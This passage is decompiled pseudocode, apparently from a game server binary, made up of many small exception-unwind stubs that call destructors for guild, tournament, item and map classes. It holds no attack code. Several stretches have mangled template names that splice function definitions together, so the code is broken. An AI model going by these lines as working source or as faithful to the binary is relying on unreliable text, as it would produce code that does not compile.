FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (00584EF8) -------------------------------------------------------- void __usercall _L157636(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 100)); } //----- (00584F10) -------------------------------------------------------- void __usercall _L157704(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00584F30) -------------------------------------------------------- void __usercall _L158073_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00584F3B) -------------------------------------------------------- void __usercall _L158074_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (00584F46) -------------------------------------------------------- void __usercall _L158075_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 132)); } //----- (00584F60) -------------------------------------------------------- void __usercall _L158370(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00584F80) -------------------------------------------------------- void __usercall _L156138(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00584FA0) -------------------------------------------------------- void __usercall _L156341(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00584FC0) -------------------------------------------------------- void __usercall _L156811(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00584FE0) -------------------------------------------------------- void __usercall _L156698(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585000) -------------------------------------------------------- void __usercall _L156461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00585008) -------------------------------------------------------- void __usercall _L156462(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00585020) -------------------------------------------------------- void __usercall _L156520(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00585040) -------------------------------------------------------- void __usercall _L156547(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00585060) -------------------------------------------------------- void __usercall _L156599(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00585080) -------------------------------------------------------- void __usercall _L156638(int a1) { GuildStorage::GuildStorageElement::_GuildStorageElement((GuildStorage::GuildStorageElement *)(a1 - 4224)); } //----- (005850A0) -------------------------------------------------------- void __usercall _L161000(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005850C0) -------------------------------------------------------- void __usercall _L165305(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005850E0) -------------------------------------------------------- void __usercall _L161539(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005850E8) -------------------------------------------------------- void __usercall _L161540(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00585100) -------------------------------------------------------- void __usercall _L161744(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585108) -------------------------------------------------------- void __usercall _L161745(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00585120) -------------------------------------------------------- void __usercall _L162560(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1616)); } //----- (0058512B) -------------------------------------------------------- void __usercall _L162561(int a1) { FieldMap::_FieldMap(a1 - 1600); } //----- (00585136) -------------------------------------------------------- void __usercall _L162607(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 1640)); } //----- (00585141) -------------------------------------------------------- void __usercall _L162562(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1304)); } //----- (00585160) -------------------------------------------------------- void __usercall _L162912_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 28)); } //----- (00585180) -------------------------------------------------------- void __usercall _L162989_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (0058518B) -------------------------------------------------------- void __usercall _L162990_1(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (005851A0) -------------------------------------------------------- void __usercall _L164784(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (005851C0) -------------------------------------------------------- void __usercall _L165211(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005851E0) -------------------------------------------------------- void __usercall _L165251(int a1) { operator delete(*(void **)(a1 - 124)); } //----- (00585200) -------------------------------------------------------- void __usercall _L191089(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00585220) -------------------------------------------------------- void __usercall _L172785(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00585240) -------------------------------------------------------- void __usercall _L173082(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00585260) -------------------------------------------------------- void __usercall _L173521(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (00585280) -------------------------------------------------------- void __usercall _L187340(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (005852A0) -------------------------------------------------------- void __usercall _L176686(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (005852AB) -------------------------------------------------------- void __usercall _L176687(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (005852B6) -------------------------------------------------------- void __usercall _L176688(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (005853A0) -------------------------------------------------------- void __usercall _L182779(int a1) { GuildTournamentSystem::PortalInfo::_PortalInfo((GuildTournamentSystem::PortalInfo *)(a1 - 104)); } //----- (005853C0) -------------------------------------------------------- void __usercall _L184689(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 28)); } //----- (00585400) -------------------------------------------------------- void __usercall _L200204(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00585420) -------------------------------------------------------- void __usercall _L188494(int a1) { ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild((ScriptInterrupt::InterruptEventWinGuild *)(a1 - 284)); } //----- (00585480) -------------------------------------------------------- void __usercall _L194635(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (005854C0) -------------------------------------------------------- void __usercall _L195269(int a1) { AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel((AxialListFlagCaptureCancel *)(a1 - 116)); } //----- (005854C8) -------------------------------------------------------- void __usercall _L195270(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 108)); } //----- (005854D0) -------------------------------------------------------- void __usercall _L195271(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (005854F0) -------------------------------------------------------- void __usercall _L196069(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 96)); } //----- (00585518) -------------------------------------------------------- void __usercall _L196474(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 136)); } //----- (00585530) -------------------------------------------------------- void __usercall _L197798(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 68)); } //----- (00585550) -------------------------------------------------------- void __usercall _L198676(int a1) { GuildTournamentSystem::Gate::_Gate((GuildTournamentSystem::Gate *)(a1 - 80)); } //----- (00585570) -------------------------------------------------------- void __usercall _L199032(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00585578) -------------------------------------------------------- void __usercall _L199033(int a1) { GuildTournamentSystem::SendScorePacket::_SendScorePacket((GuildTournamentSystem::SendScorePacket *)(a1 - 56)); } //----- (00585580) -------------------------------------------------------- void __usercall _L199034(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 112)); } //----- (00585588) -------------------------------------------------------- void __usercall _L199035(int a1) { AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild((AxialListPacketBroadcastByGuild *)(a1 - 128)); } //----- (005855A0) -------------------------------------------------------- void __usercall _L200490(int a1) { GuildTournamentSystem::FlagInfo::_FlagInfo((GuildTournamentSystem::FlagInfo *)(a1 - 208)); } //----- (005855C0) -------------------------------------------------------- void __usercall _L200657(int a1) { std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>((std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (005855D6) -------------------------------------------------------- void __usercall _L200659(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (005855F7) -------------------------------------------------------- void __usercall _L200662(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (00585618) -------------------------------------------------------- void __usercall _L201338(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00585623) -------------------------------------------------------- void __usercall _L201339(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0058562E) -------------------------------------------------------- void __usercall _L201340(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (00585650) -------------------------------------------------------- void __usercall _L201627(int a1) { RoutionInterface::_RoutionInterface(*(RoutionInterface **)(a1 - 16)); } //----- (00585658) -------------------------------------------------------- void __usercall _L201628(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00585663) -------------------------------------------------------- void __usercall _L201629(int a1) { GuildTournamentSystem::GuildGroup::_GuildGroup((GuildTournamentSystem::GuildGroup *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00585680) -------------------------------------------------------- void __usercall _L157106_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005856A0) -------------------------------------------------------- void __usercall _L156370(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (005856C0) -------------------------------------------------------- void __usercall _L156961(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005856E0) -------------------------------------------------------- void __usercall _L156609(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (005856E8) -------------------------------------------------------- unsigned int __cdecl _L156610() { unsigned int result; // eax@1 result = _S10_8 & 0xFFFFFFFE; _S10_8 &= 0xFFFFFFFEu; return result; } //----- (00585700) -------------------------------------------------------- void __usercall _L156724(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00585720) -------------------------------------------------------- void __usercall _L156839(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00585740) -------------------------------------------------------- void __usercall _L156882(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00585760) -------------------------------------------------------- void __usercall _L157056(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00585768) -------------------------------------------------------- void __usercall _L157057(int a1) { ScanEnemy4ExpDist::_ScanEnemy4ExpDist((ScanEnemy4ExpDist *)(a1 - 56)); } //----- (00585770) -------------------------------------------------------- void __usercall _L157058(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00585790) -------------------------------------------------------- void __usercall _L157135(int a1) { List::_List(*(HitMeList::EnemyList **)(a1 - 24)); } //----- (00585798) -------------------------------------------------------- void __usercall _L157145(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005857B0) -------------------------------------------------------- void __usercall _L156092(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005857F0) -------------------------------------------------------- void __usercall _L149410(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585810) -------------------------------------------------------- void __usercall _L149125(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00585830) -------------------------------------------------------- void __usercall _L149172(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00585838) -------------------------------------------------------- void __usercall _L149173(int a1) { KickPlayer::_KickPlayer((KickPlayer *)(a1 - 20)); } //----- (00585850) -------------------------------------------------------- void __usercall _L149208(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00585858) -------------------------------------------------------- void __usercall _L149209(int a1) { IsAnybody::_IsAnybody((IsAnybody *)(a1 - 24)); } //----- (00585870) -------------------------------------------------------- void __usercall _L149359(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00585890) -------------------------------------------------------- void __usercall _L149449_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00585898) -------------------------------------------------------- void __usercall _L149450(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 32)); } //----- (005858A0) -------------------------------------------------------- void __usercall _L149451(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 24)); } //----- (005858C0) -------------------------------------------------------- void __usercall _L149645(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (005858E0) -------------------------------------------------------- void __usercall _L149763(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36908)); } //----- (005858EB) -------------------------------------------------------- void __usercall _L149764(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 36904)); } //----- (00585900) -------------------------------------------------------- void __usercall _L149851(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 312)); } //----- (0058590B) -------------------------------------------------------- void __usercall _L149852(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 316)); } //----- (00585920) -------------------------------------------------------- void __usercall _L160712_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585940) -------------------------------------------------------- void __usercall _L158844(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 320)); } //----- (00585960) -------------------------------------------------------- void __usercall _L159795(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00585968) -------------------------------------------------------- void __usercall _L159796(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00585980) -------------------------------------------------------- void __usercall _L159886(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005859A0) -------------------------------------------------------- void __usercall _L159945(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 192)); } //----- (005859AB) -------------------------------------------------------- void __usercall _L159946(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (005859B6) -------------------------------------------------------- void __usercall _L159947(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (005859C1) -------------------------------------------------------- void __usercall _L159948(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 176)); } //----- (005859E0) -------------------------------------------------------- void __usercall _L160071(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005859E8) -------------------------------------------------------- void __usercall _L160072(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00585A00) -------------------------------------------------------- void __usercall _L160534(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00585A20) -------------------------------------------------------- void __usercall _L160823(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00585A40) -------------------------------------------------------- void __usercall _L160868(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (00585A4B) -------------------------------------------------------- void __usercall _L160878(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 208)); } //----- (00585A60) -------------------------------------------------------- void __usercall _L161043(int a1) { InventoryLocking::InventoryCellLock::_InventoryCellLock(*(InventoryLocking::InventoryCellLock **)(a1 - 16)); } //----- (00585A80) -------------------------------------------------------- void __usercall _L156497(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585AA0) -------------------------------------------------------- void __usercall _L156577(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00585AC0) -------------------------------------------------------- void __usercall _L150824(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00585AE0) -------------------------------------------------------- void __usercall _L150999(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (00585B20) -------------------------------------------------------- void __usercall _L151161(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00585B40) -------------------------------------------------------- void __usercall _L151285(int a1) { operator delete__(*(void **)(a1 - 67980)); } //----- (00585B4E) -------------------------------------------------------- void __usercall _L151287(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00585B70) -------------------------------------------------------- void __usercall _L151404(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00585B90) -------------------------------------------------------- void __usercall _L151475(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00585BB0) -------------------------------------------------------- void __usercall _L151527(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (00585BD0) -------------------------------------------------------- void __usercall _L103381(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (00585BF0) -------------------------------------------------------- void __usercall _L103621(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585C10) -------------------------------------------------------- void __usercall _L145344(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00585C30) -------------------------------------------------------- void __usercall _L145481(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00585C50) -------------------------------------------------------- void __usercall _L145788(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585C70) -------------------------------------------------------- void __usercall _L156921(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585C90) -------------------------------------------------------- void __usercall _L156631(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (00585C9B) -------------------------------------------------------- void __usercall _L156633(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (00585CB0) -------------------------------------------------------- void __usercall _L156961_0(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 116)); } //----- (00585CD0) -------------------------------------------------------- void __usercall _L72442(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00585CDB) -------------------------------------------------------- void __usercall _L72444(int a1) { operator delete__(*(void **)(a1 - 67852)); } //----- (00585D00) -------------------------------------------------------- void __usercall _L72569(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585D20) -------------------------------------------------------- void __usercall _L118374(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585D40) -------------------------------------------------------- void __usercall _L163677(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585D60) -------------------------------------------------------- void __usercall _L161351(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00585D68) -------------------------------------------------------- void __usercall _L161352(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 32)); } //----- (00585D80) -------------------------------------------------------- void __usercall _L161439(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00585DA0) -------------------------------------------------------- void __usercall _L161493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00585DA8) -------------------------------------------------------- void __usercall _L161494(int a1) { AxialListObjectClear::_AxialListObjectClear((AxialListObjectClear *)(a1 - 20)); } //----- (00585DC0) -------------------------------------------------------- void __usercall _L162185(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00585DE0) -------------------------------------------------------- void __usercall _L162492(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (00585DEB) -------------------------------------------------------- void __usercall _L162493(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (00585E00) -------------------------------------------------------- void __usercall _L162666(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00585E20) -------------------------------------------------------- void __usercall _L162761(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00585E40) -------------------------------------------------------- void __usercall _L162788(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00585E60) -------------------------------------------------------- void __usercall _L163825(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00585E80) -------------------------------------------------------- void __usercall _L162895_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 748)); } //----- (00585E8B) -------------------------------------------------------- void __usercall _L162896_0(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 712), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00585EA1) -------------------------------------------------------- void __usercall _L162898_0(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00585EAC) -------------------------------------------------------- void __usercall _L162899_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 744)); } //----- (00585EB7) -------------------------------------------------------- void __usercall _L163463_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 756)); } //----- (00585ED0) -------------------------------------------------------- void __usercall _L163626(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00585EF0) -------------------------------------------------------- void __usercall _L163712(int a1) { List::_List(*(KingdomQuest::KQPlayerInfoList **)(a1 - 16)); } //----- (00585F10) -------------------------------------------------------- void __usercall _L158223(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00585F30) -------------------------------------------------------- void __usercall _L159770(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00585F90) -------------------------------------------------------- void __usercall _L161459(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586000) -------------------------------------------------------- void __usercall _L162553(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 + 8)); } //----- (00586020) -------------------------------------------------------- void __usercall _L162749(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00586028) -------------------------------------------------------- void __usercall _L162750(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00586040) -------------------------------------------------------- void __usercall _L163150_0(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 20)); } //----- (00586060) -------------------------------------------------------- void __usercall _L163395(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00586068) -------------------------------------------------------- void __usercall _L163396(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00586080) -------------------------------------------------------- void __usercall _L155113(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005860A0) -------------------------------------------------------- void __usercall _L156328(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005860C0) -------------------------------------------------------- void __usercall _L156645(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005860E0) -------------------------------------------------------- void __usercall _L156758(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00586100) -------------------------------------------------------- void __usercall _L156839_0(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00586120) -------------------------------------------------------- void __usercall _L157090(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1188)); } //----- (0058612B) -------------------------------------------------------- void __usercall _L157091(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1020)); } //----- (00586136) -------------------------------------------------------- void __usercall _L157094(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 1184)); } //----- (00586150) -------------------------------------------------------- void __usercall _L157360_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00586170) -------------------------------------------------------- void __usercall _L72829(int a1) { AreaInfoData::_AreaInfoData((AreaInfoData *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (00586190) -------------------------------------------------------- void __usercall _L73372(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005861B0) -------------------------------------------------------- void __usercall _L72958(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005861D0) -------------------------------------------------------- void __usercall _L73001(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (005861F0) -------------------------------------------------------- void __usercall _L157036(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (005861FB) -------------------------------------------------------- void __usercall _L157037(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00586206) -------------------------------------------------------- void __usercall _L157038(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (00586211) -------------------------------------------------------- void __usercall _L157039(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (0058621C) -------------------------------------------------------- void __usercall _L157040(int a1) { 